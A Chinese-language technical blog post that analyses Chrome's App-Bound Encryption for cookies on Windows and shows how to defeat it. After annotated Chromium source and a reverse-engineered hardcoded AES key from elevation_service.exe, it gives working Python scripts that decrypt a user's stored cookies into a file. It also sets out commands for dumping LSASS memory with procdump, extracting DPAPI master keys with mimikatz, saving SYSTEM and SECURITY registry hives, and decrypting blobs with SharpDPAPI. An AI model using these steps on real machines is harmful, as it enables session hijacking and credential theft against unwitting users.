前言

最近Google对Windows版Chrome中存储的Cookie的保护机制做了升级,即应用程序绑定加密。在Chrome 127中,在Windows上引入了一种新的保护措施,通过提供应用程序绑定(App-Bound)的加密方式来改进旧版Google Chrome所使用的Windows原生数据保护API(DPAPI)的加密方式,从而保护Cookie。

工作原理

App-Bound加密依靠特权服务来验证请求应用程序的身份。它通过将数据存储在加密的数据文件中,并使用以SYSTEM身份运行的服务来验证任何解密尝试是否来自Chrome进程,然后将密钥返回到该进程以解密存储的数据来实现这一点。在加密过程中,App-Bound加密服务将应用程序的身份编码到加密数据中,然后在尝试解密时验证其是否有效。如果系统上的另一个应用程序尝试解密相同的数据,它将失败。

Chrome 127 应用程序绑定加密方案。来源:https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html

源码分析

公开的Chromium源代码地址:https://source.chromium.org/

Chrome存储数据的SQLite数据库中的加密值现在以v20为前缀,表明这些值现在使用应用程序绑定加密进行加密。

v20app-bound encryption作为切入点。

这里只贴了关键部分的代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
// https://source.chromium.org/chromium/chromium/src/+/main:chrome/browser/os_crypt/app_bound_encryption_provider_win.cc


// 应用程序绑定加密管理的加密密钥的前缀名称。
constexpr char kEncryptedKeyPrefName[] = "os_crypt.app_bound_encrypted_key";
// 使用应用程序绑定加密加密的密钥的密钥前缀。这用于验证从前缀检索到的加密密钥数据是否有效。
constexpr uint8_t kCryptAppBoundKeyPrefix[] = {'A', 'P', 'P', 'B'};
// 使用应用程序绑定加密密钥加密的数据的标记。OSCryptAsync 使用它来标识已使用此密钥加密的数据。
constexpr char kAppBoundDataPrefix[] = "v20";


// 获取loacl state中的加密密钥
base::expected<std::vector<uint8_t>, AppBoundEncryptionProviderWin::KeyRetrievalStatus>
AppBoundEncryptionProviderWin::RetrieveEncryptedKey() {
// 获取加密密钥
const std::string base64_encrypted_key = local_state_->GetString(kEncryptedKeyPrefName);
// 进行 Base64 解码
std::optional<std::vector<uint8_t>> encrypted_key_with_header = base::Base64Decode(base64_encrypted_key);
// 去掉密钥前缀并返回最终密钥
return std::vector<uint8_t>(encrypted_key_with_header->cbegin() + sizeof(kCryptAppBoundKeyPrefix), encrypted_key_with_header->cend());
}


// 获取加密密钥并通过回调函数返回密钥
void AppBoundEncryptionProviderWin::GetKey(KeyCallback callback) {
// 调用 RetrieveEncryptedKey 获取加密密钥
auto encrypted_key_data = RetrieveEncryptedKey();
// 如果密钥存在,进行解密
if (encrypted_key_data.has_value()) {
// 有密钥,在后台工作者上执行解密。
com_worker_.AsyncCall(&AppBoundEncryptionProviderWin::COMWorker::DecryptKey)
.WithArgs(std::move(encrypted_key_data.value()))
.Then(base::BindOnce(&AppBoundEncryptionProviderWin::ReplyWithKey,
std::move(callback)));
return;
}
// 没有密钥,则生成一个新密钥,但只能在完全受支持的系统上生成。
// 生成一个大小为 256 位(32 字节)的随机密钥,使用的是 AES-256-GCM 加密算法所需的密钥长度。
// 从这里可以得知初始密钥的大小,原始密钥的加密方式。
const auto random_key = crypto::RandBytesAsVector(os_crypt_async::Encryptor::Key::kAES256GCMKeySize);
// 复制密钥。加密操作完成后,这将作为提供商的未加密密钥返回。
std::vector<uint8_t> decrypted_key(random_key.cbegin(), random_key.cend());
// 在后台工作者上执行加密。
com_worker_.AsyncCall(&AppBoundEncryptionProviderWin::COMWorker::EncryptKey)
.WithArgs(std::move(random_key))
.Then(base::BindOnce(
&AppBoundEncryptionProviderWin::StoreEncryptedKeyAndReply,
weak_factory_.GetWeakPtr(), std::move(decrypted_key),
std::move(callback)));
}


// 加密和解密 API,用于处理和保护应用程序绑定数据(App-Bound Encryption)
class AppBoundEncryptionProviderWin::COMWorker {
public:
std::optional<const std::vector<uint8_t>> DecryptKey(const std::vector<uint8_t>& encrypted_key) {
// 调用 os_crypt::DecryptAppBoundString,将解密结果存储到 decrypted_key_string
// chrome/browser/os_crypt/app_bound_encryption_win.cc
HRESULT res = os_crypt::DecryptAppBoundString(encrypted_key_string, decrypted_key_string, last_error, &log_message);
// 将数据复制到向量。
std::vector<uint8_t> data(decrypted_key_string.cbegin(), decrypted_key_string.cend());
return data;
}
};
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// https://source.chromium.org/chromium/chromium/src/+/main:chrome/browser/os_crypt/app_bound_encryption_win.cc


// DecryptAppBoundString 通过 COM 接口 IElevator 来完成解密操作,并将结果保存在 plaintext 中。
HRESULT DecryptAppBoundString(const std::string& ciphertext, std::string& plaintext, DWORD& last_error, std::string* log_message) {
// 初始化 COM 环境
base::win::AssertComInitialized();
// 创建 IElevator 对象
Microsoft::WRL::ComPtr<IElevator> elevator;
// ::CoCreateInstance 调用使用 GetElevatorClsid 和 GetElevatorIid 获取相关的 CLSID 和 IID,来创建一个 IElevator 的实例。这个实例是 COM 接口,用于调用 DecryptData 函数来解密数据。
HRESULT hr = ::CoCreateInstance(install_static::GetElevatorClsid(), nullptr, CLSCTX_LOCAL_SERVER, install_static::GetElevatorIid(), IID_PPV_ARGS_Helper(&elevator));
// 通过 ::CoSetProxyBlanket 配置代理安全选项,包括授权和认证级别。这一步确保了远程过程调用 (RPC) 的隐私和代理安全性。
hr = ::CoSetProxyBlanket(elevator.Get(), RPC_C_AUTHN_DEFAULT, RPC_C_AUTHZ_DEFAULT, COLE_DEFAULT_PRINCIPAL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_IMP_LEVEL_IMPERSONATE, nullptr, EOAC_DYNAMIC_CLOAKING);
// 将密文字符串转换为 BSTR 类型
base::win::ScopedBstr ciphertext_data;
::memcpy(ciphertext_data.AllocateBytes(ciphertext.length()), ciphertext.data(), ciphertext.length());
base::win::ScopedBstr plaintext_data;
// 调用 IElevator 接口中的 DecryptData 方法,解密 ciphertext_data 并将结果存储到 plaintext_data
// out/win-Debug/gen/chrome/elevation_service/elevation_service_idl.h
// chrome/elevation_service/elevator.cc
hr = elevator->DecryptData(ciphertext_data.Get(), plaintext_data.Receive(), &last_error);
// 将 plaintext_data 中的 BSTR 数据转化为 std::string 格式,并存储到 plaintext
plaintext.assign(reinterpret_cast<std::string::value_type*>(plaintext_data.Get()), plaintext_data.ByteLength());
return S_OK;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
// https://source.chromium.org/chromium/chromium/src/+/main:chrome/elevation_service/elevator.cc


// 使用 SYSTEM dpapi 存储解密和 user dpapi 存储解密,如果运行在 Chrome 环境中,会多一步 AES 解密。
HRESULT Elevator::DecryptData(const BSTR ciphertext, BSTR* plaintext, DWORD* last_error) {
// 获取密文的字节长度
UINT length = ::SysStringByteLen(ciphertext);
// 准备数据结构
DATA_BLOB input = {};
input.cbData = length;
input.pbData = reinterpret_cast<BYTE*>(ciphertext);
DATA_BLOB intermediate = {};
//使用 SYSTEM dpapi 进行第一次解密
if (!::CryptUnprotectData(&input, nullptr, nullptr, nullptr, nullptr, 0, &intermediate)) {
*last_error = ::GetLastError();
return kErrorCouldNotDecryptWithSystemContext;
}
// 模拟当前调用进程的客户端身份,后续操作能在用户上下文中执行(用户上下文存储的密钥用于解密)
HRESULT hr = ::CoImpersonateClient();
// 第二次解密
std::string plaintext_str;
{
DATA_BLOB output = {};
// 使用 user dpapi 进行第二次解密
if (!::CryptUnprotectData(&intermediate, nullptr, nullptr, nullptr, nullptr, 0, &output)) {
*last_error = ::GetLastError();
return kErrorCouldNotDecryptWithUserContext;
}
// 提取验证数据并验证
std::string mutable_plaintext(reinterpret_cast<char*>(output.pbData), output.cbData);
const std::string validation_data = PopFromStringFront(mutable_plaintext);
const auto data = std::vector<uint8_t>(validation_data.cbegin(), validation_data.cend());
const auto process = GetCallingProcess();
// 对身份令牌和调用进程路径进行验证
HRESULT validation_result =
(process, data, &log_message);
// 提取明文数据并处理
plaintext_str = PopFromStringFront(mutable_plaintext);
}
// 如果代码运行在 Chrome 环境中,使用 PostProcessData 对明文进行后处理。
// 这里应该是 AES 解密,解密步骤是内部代码的一部分,因此需要对发布的二进制文件(elevation_service.exe)进行逆向工程。
#if BUILDFLAG(GOOGLE_CHROME_BRANDING)
auto post_process_result = PostProcessData(plaintext_str);
if (!post_process_result.has_value()) {
return post_process_result.error();
}
plaintext_str.swap(*post_process_result);
#endif // BUILDFLAG(GOOGLE_CHROME_BRANDING)
// 分配内存并返回明文
*plaintext = ::SysAllocStringByteLen(plaintext_str.c_str(), plaintext_str.length());
return S_OK;
}

elevation_service.exe没有使用混淆,可以使用Ghidra对进行逆向分析,这里是以CryptUnprotectData函数作为切入点。

CryptUnprotectData -> 14002a5d2 FUN_14002a550 Call CALL qword ptr [->CRYPT32.DLL::CryptUnprotectData]

继续跟进下去就可以发现在进行两次DPAPI解密后,还需要再进行一次AES解密,AES函数的特征还是很容易识别的。

程序中的密钥硬编码如下:

1
2
B3 1C 6E 24 1A C8 46 72  8D A9 C1 FA C4 93 66 51
CF FB 94 4D 14 3A B8 16 27 6B CC 6D A0 28 47 87

v20解密方法

Google Chrome Elevation Service

https://github.com/xaitax/Chrome-App-Bound-Encryption-Decryption

利用每个浏览器独有的内部基于COM的IElevator服务来检索和解密密钥,其实就是调用了原生的Google Chrome Elevation Service进行解密。

chrome_decrypt.cpp编译成可执行文件exe,把编译后的可执行文件放在Chrome应用程序目录中(例如C:\Program Files\Google\Chrome\Application),从命令行运行可执行文件:

上图中DECRYPED KEY就是最终解出来的密钥,后续就可以利用这个密钥去解cookie。

由于ABE的路径验证限制,此工具一定要在每个浏览器的应用程序目录下运行。

用该密钥解Cookies文件的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import binascii
from Crypto.Cipher import AES
import datetime
import os
import pathlib
import sqlite3

def decrypt(decrypted_key, db_path, output):
key = binascii.unhexlify(decrypted_key)
con = sqlite3.connect(pathlib.Path(db_path).as_uri() + "?mode=ro", uri=True)
cur = con.cursor()
r = cur.execute("SELECT host_key, path, name, CAST(encrypted_value AS BLOB), is_secure, is_httponly, samesite, creation_utc, expires_utc,last_access_utc from cookies;")
cookies = cur.fetchall()
cookies_v20 = [c for c in cookies if c[3][:3] == b"v20"]
con.close()
with open(output, "a", encoding="utf-8") as w:
w.write("host_key\tpath\tname\tvalue\tis_secure\tis_httponly\tsamesite\tcreation_utc\texpires_utc\tlast_access_utc\n")
for c in cookies_v20:
w.write("\t".join(c[:3]) + "\t" + decrypt_cookie_v20(key, c[3]) +"\t" + "\t".join([str(v) for v in c[4:]]) +"\n")

def convert_17bit_to_unix_timestamp(seventeen_bit_timestamp):
try:
fourteen_bit_timestamp = seventeen_bit_timestamp // 1000
EPOCH_DIFFERENCE = 11644473600
unix_timestamp = fourteen_bit_timestamp / 1000 - EPOCH_DIFFERENCE
return datetime.datetime.utcfromtimestamp(unix_timestamp)
except Exception as e:
return seventeen_bit_timestamp

def decrypt_cookie_v20(key, encrypted_value):
cookie_iv = encrypted_value[3:3 + 12]
encrypted_cookie = encrypted_value[3 + 12:-16]
cookie_tag = encrypted_value[-16:]
cookie_cipher = AES.new(key, AES.MODE_GCM, nonce=cookie_iv)
decrypted_cookie = cookie_cipher.decrypt_and_verify(encrypted_cookie,cookie_tag)
return decrypted_cookie[32:].decode('utf-8')

if __name__ == "__main__":
key = "7e6b050c93433d27caafabed266d9cf71179142f2106c4e72bced66d0c8aaa9d"
LOCAL_APP_DATA = os.environ['LOCALAPPDATA']
db_path = rf"{LOCAL_APP_DATA}\Google\Chrome\User Data\Default\Network\Cookies"
output = "Cookies.txt"
decrypt(key, db_path, output)

chrome_v20_decryption

该作者根据分析Chromium source code,写了对应的python解密脚本
https://github.com/runassu/chrome_v20_decryption/issues/7#issuecomment-2445724559

离线解密(手动)

将需要在本地执行的脚本chrome_v20_decryption拆分后离线完成。

获取App_Bound_Encrypted_key

离线C:\Users\用户\AppData\Local\Google\Chrome\User Data\Local State文件,然后取出app_bound_encrypted_key字段值进行处理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import binascii
import json

with open("local state", "r") as f:
local_state = json.load(f)

app_bound_encrypted_key = local_state["os_crypt"]["app_bound_encrypted_key"]

assert(binascii.a2b_base64(app_bound_encrypted_key)[:4] == b"APPB")

app_bound_encrypted_key_b64 = binascii.b2a_base64(binascii.a2b_base64(app_bound_encrypted_key)[4:]).decode().strip()

print(binascii.a2b_base64(app_bound_encrypted_key)[4:].hex())

byte_data = bytes.fromhex(binascii.a2b_base64(app_bound_encrypted_key)[4:].hex())

with open("app_bound_encrypted_key_file", "wb") as w:
w.write(byte_data)

分别获取系统和用户的MasterKey

方法一

使用procdump dump出LSASS进程内存

管理员权限:

1
procdump.exe -accepteula -ma lsass.exe lsass.dmp

使用mimikatz加载dmp文件并获取各个Master Key file对应的MasterKey

1
2
sekurlsa::minidump lsass.dmp
sekurlsa::dpapi

方法二

复制注册表文件

获取系统MasterKey

管理员权限:

1
2
reg save HKLM\SYSTEM SYSTEM.hiv
reg save HKLM\SECURITY SECURITY.hiv

从注册表文件中获得DPAPI_SYSTEM

1
lsadump::secrets /system:SYSTEM.hiv /security:SECURITY.hiv

DPAPI_SYSTEM中的user hash088f74cf89f8ac2f57ef14ef4c96d70fd9bba6ab,能够用来解密位于System32\Microsoft\Protect\S-1-5-18\User下的系统Master Key file

用以下脚本从app_bound_encrypted_key中获取使用解密的guid

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import struct
import uuid

def extract_guid_master_key_from_file(file_path, blob_type="credential"):
"""
从文件中读取 DPAPI blob 数据并提取 guidMasterKey。

:param file_path: 文件路径
:param blob_type: blob 类型 ("credential", "policy", "blob", "rdg", "chrome", "keepass")
:return: 返回解析的 guidMasterKey 字符串
"""
try:
with open(file_path, "rb") as file:
blob_bytes = file.read()

# 根据 blob 类型设置偏移量
if blob_type == "credential":
offset = 36
elif blob_type in ["policy", "blob", "rdg", "chrome", "keepass"]:
offset = 24
else:
raise ValueError(f"Unsupported blob type: {blob_type}")

# 确保字节数组长度足够
if len(blob_bytes) < offset + 16:
raise ValueError("Blob data is too short to extract guidMasterKey.")

# 提取 guidMasterKey 的字节并格式化为 GUID
guid_master_key_bytes = blob_bytes[offset:offset + 16]
guid_master_key = str(uuid.UUID(bytes_le=guid_master_key_bytes))

# 打印 guidMasterKey
if blob_type not in ["rdg", "chrome"]:
print(f" guidMasterKey : {{{guid_master_key}}}")

return guid_master_key

except FileNotFoundError:
print(f"File '{file_path}' not found.")
return None
except Exception as e:
print(f"An error occurred: {e}")
return None

if __name__ == "__main__":
file_path = "app_bound_encrypted_key" # 替换为实际文件路径

# 提取并打印 guidMasterKey
guid = extract_guid_master_key_from_file(file_path, blob_type="chrome")
if guid:
print(f"Extracted guidMasterKey: {{{guid}}}")

System32\Microsoft\Protect\S-1-5-18\User下对应的guid文件复制出来解密

得到系统的MasterKey{2eb60c3e-9d80-4988-a09d-3dfc004da831}:832767e4d883fe95d4ec8d4cbe25adb79e35c6f7,保存为masterkey_system.txt

获取用户MasterKey

C:\Users\用户名\AppData\Roaming\Microsoft\Protect\用户名对应的SID整个文件夹离线出来

1
SharpDPAPI.exe masterkeys /password:用户明文密码 /target:C:\Temp\SID文件夹

将得到的用户的MasterKey保存为masterkey_user.txt

解密app_bound_encrypted_key和cookie

用system的masterkey对app_bound_encrypted_key密文进行第一次解密,SYSTEM DPAPI
将得到的dec(blob)再次以hex形式写入文件中为app_bound_encrypted_key_file_2

1
SharpDPAPI.exe blob /mkfile:./masterkey_system.txt /target:./app_bound_encrypted_key_file

用user的masterkey对app_bound_encrypted_key_file_2中的密文进行第二次解密,user DPAPI

1
SharpDPAPI.exe blob /mkfile:./masterkey_user.txt /target:./app_bound_encrypted_key_file_2

得到的dec(blob)为最终解密出来的key

在其他浏览器中,可以直接获取32字节AES密钥来解密加密的cookie,但从之前的代码分析得出的结论来看,Chrome还需要多一步(AES解密)。经过两步DPAPI解密后,结果值带有Chrome路径,然后是1字节标志0x01,12字节IV,32字节密文,16字节TAG。

VI: BD 6D 2D C8 D9 B9 E0 7D 80 4D DC C8
ciphertext: C9 3F D2 5A D0 EF F7 F3 E7 6F 91 AF F2 DF 88 C3 D3 EE 53 A9 E2 79 10 A4 BE 33 D3 E2 FC 30 D5 99
TAG: 2E CF 8C 99 D8 BC 7B 6F CD 1E F9 B8 F5 4B 5E 97

使用AES-256-GCM对其进行解密,对应的解密密钥在之前已经给出,解密后将产生解密cookie的密钥,其接下来解密的工作原理与v10完全相同。

解密脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import binascii
import datetime
from Crypto.Cipher import AES
import sqlite3
import pathlib

def decrypt(brower, decrypted_key, db_path, output):
decrypted_key = binascii.unhexlify(decrypted_key)
if brower == "chrome":
decrypted_key = decrypted_key[-73:-12]
assert (decrypted_key[0] == 1)
# elevation_service.exe中的硬编码密钥,这里以base64形式载入
aes_key = binascii.a2b_base64("sxxuJBrIRnKNqcH6xJNmUc/7lE0UOrgWJ2vMbaAoR4c=")
iv = decrypted_key[1:1 + 12]
ciphertext = decrypted_key[1 + 12:1 + 12 + 32]
tag = decrypted_key[1 + 12 + 32:]
cipher = AES.new(aes_key, AES.MODE_GCM, nonce=iv)
key = cipher.decrypt_and_verify(ciphertext, tag)
else:
key = decrypted_key[-40:-8]
con = sqlite3.connect(pathlib.Path(db_path).as_uri() + "?mode=ro", uri=True)
cur = con.cursor()
r = cur.execute("SELECT host_key, path, name, CAST(encrypted_value AS BLOB), is_secure, is_httponly, samesite, creation_utc, expires_utc,last_access_utc from cookies;")
cookies = cur.fetchall()
cookies_v20 = [c for c in cookies if c[3][:3] == b"v20"]
con.close()
with open(output, "a", encoding="utf-8") as a:
a.write("host_key\tpath\tname\tvalue\tis_secure\tis_httponly\tsamesite\tcreation_utc\texpires_utc\tlast_access_utc\n")
for c in cookies_v20:
a.write("\t".join(c[:3]) + "\t" + decrypt_cookie_v20(key, c[3]) +"\t" + "\t".join([str(v) for v in c[4:]]) +"\n")

def convert_17bit_to_unix_timestamp(seventeen_bit_timestamp):
try:
fourteen_bit_timestamp = seventeen_bit_timestamp // 1000
EPOCH_DIFFERENCE = 11644473600
unix_timestamp = fourteen_bit_timestamp / 1000 - EPOCH_DIFFERENCE
return datetime.datetime.utcfromtimestamp(unix_timestamp)
except Exception as e:
return seventeen_bit_timestamp

def decrypt_cookie_v20(key, encrypted_value):
cookie_iv = encrypted_value[3:3 + 12]
encrypted_cookie = encrypted_value[3 + 12:-16]
cookie_tag = encrypted_value[-16:]
cookie_cipher = AES.new(key, AES.MODE_GCM, nonce=cookie_iv)
decrypted_cookie = cookie_cipher.decrypt_and_verify(encrypted_cookie,cookie_tag)
return decrypted_cookie[32:].decode('utf-8')

if __name__ == "__main__":
BROWSER = "chrome" # chrome or edge
# app_bound_encrypted_key经过两次DPAPI解密之后的密钥
key = "1F00000002433A5C50726F6772616D2046696C65735C476F6F676C655C4368726F6D653D00000001BD6D2DC8D9B9E07D804DDCC8C93FD25AD0EFF7F3E76F91AFF2DF88C3D3EE53A9E27910A4BE33D3E2FC30D5992ECF8C99D8BC7B6FCD1EF9B8F54B5E970C0C0C0C0C0C0C0C0C0C0C0C"
db_path = "Cookies"
output = "Cookies.txt"
decrypt(BROWSER, key, db_path, output)

参考资料:
https://github.com/runassu/chrome_v20_decryption/issues/7#issuecomment-2445724559
Katz and Mouse Game: MaaS Infostealers Adapt to Patched Chrome Defenses
渗透技巧-获取Windows系统下DPAPI中的MasterKey
https://github.com/gentilkiwi/mimikatz/wiki/howto-~-scheduled-tasks-credentials